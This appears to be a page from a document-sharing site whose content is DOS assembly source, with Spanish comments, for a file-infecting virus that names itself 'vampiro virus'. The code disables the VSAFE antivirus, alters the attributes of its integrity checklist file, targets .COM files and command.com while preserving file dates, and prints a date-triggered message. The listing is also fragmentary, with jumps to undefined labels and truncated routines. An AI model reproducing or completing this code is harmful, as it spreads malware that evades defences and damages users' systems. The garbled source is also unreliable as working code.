Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
286c
codigo segment 'code'
org 100h
assume cs:codigo,ds:codigo,es:codigo
start proc far
comienzo:
push cs ;guardo cs
push cs ;guardo cs
pop ds ;ds<==cs
pop es ;es<==cs
;============================desinstalar el vsafe==============================
mov dx, 5945h ;desinstalar vsafe.
mov ax, 0fa01h
int 21h
;=============================chequeo de playload==============================
;chequeo la fecha -------------------------------------------------------------
mov ah, 2ah ;obtener fecha actual.
int 21h ;devuelve en:
cmp dh, 06d ;dh<== mes.
jb intercambio ;si dh es menor que 6 (junio),
; no hago nada.
;<------ si llego aca, es porque es
; mayor que junio.
;================================intercambio===================================
intercambio:
cld ;seteo el direction flag para
; que copie hacia delante
mov cx, 7 ;cantidad de bytes. (7).
lea si, [bp+buffer] ;si<== offset de buffer.
lea di, [bp+buffer_act] ;di<== offset de buffer_act.
rep movsb ;copia.
;ahora en buffer_act tengo
; el contenido de buffer.
;============================programa de busqueda==============================
;guardar directorio original --------------------------------------------------
mov ah, 47h ;obtener directorio actual.
mov dl, 0 ;unidad por defecto.
;devuelve en ds:si el path
;sin unidad ni barra.
lea si, bp+directorio_original+1 ;si<== offset directorio_org.
int 21h
;comprobar mz -----------------------------------------------------------------
cmp word ptr [bp+buffer],'zm' ;comparo con zm.
jne d
jmp cerrar
;=============================infectar en si===================================
infectar:
;guardar fecha del file -------------------------------------------------------
pop bx ;bx<== handle.
push bx ;stack<== handle.
mov ax, 5700h ;obtener fecha.
;devuelve en cx y dx.
int 21h
mov word ptr [bp+fecha],cx ;paso cx a fecha.
mov word ptr [bp+fecha+2],dx ;paso dx a fecha+2.
;===============================borrar checklists==============================
;setear atributos a r/w -------------------------------------------------------
mov ax, 4301h ;setear atributos.
mov cx, 0000h ;seteo atrib. a "normal"
lea dx, bp+checklist ;dx<== offset de checklist.
int 21h
;=================================playload=====================================
playload:
mov ah, 09h ;imprimir cadena.
lea dx, bp+mensaje ;dx<== offset de mensaje.
int 21h ;
start endp
;==============================area de datos===================================
buffer db 7d dup(0)
buffer_act db 7d dup(0)
dta db 43d dup(0)
dta_org db 43d dup(0)
longitud db 2 dup(0)
fecha db 4 dup(0)
atributos db 2 dup(0)
directorio_original db '\',64 dup(0)
mensaje db 'zarathustra & drako les comunican que llego la '
db 'hora de ir a dormir. shh! '
db 'vampiro virus.$'
directorio db '*.*',0
actual db '.',0
retroceso db '..',0
file_inf db '*.com',0
checklist db 'chklist.ms',0
string db '???',0
jump db '?',0
command db 'command.com',0
codigo ends
end start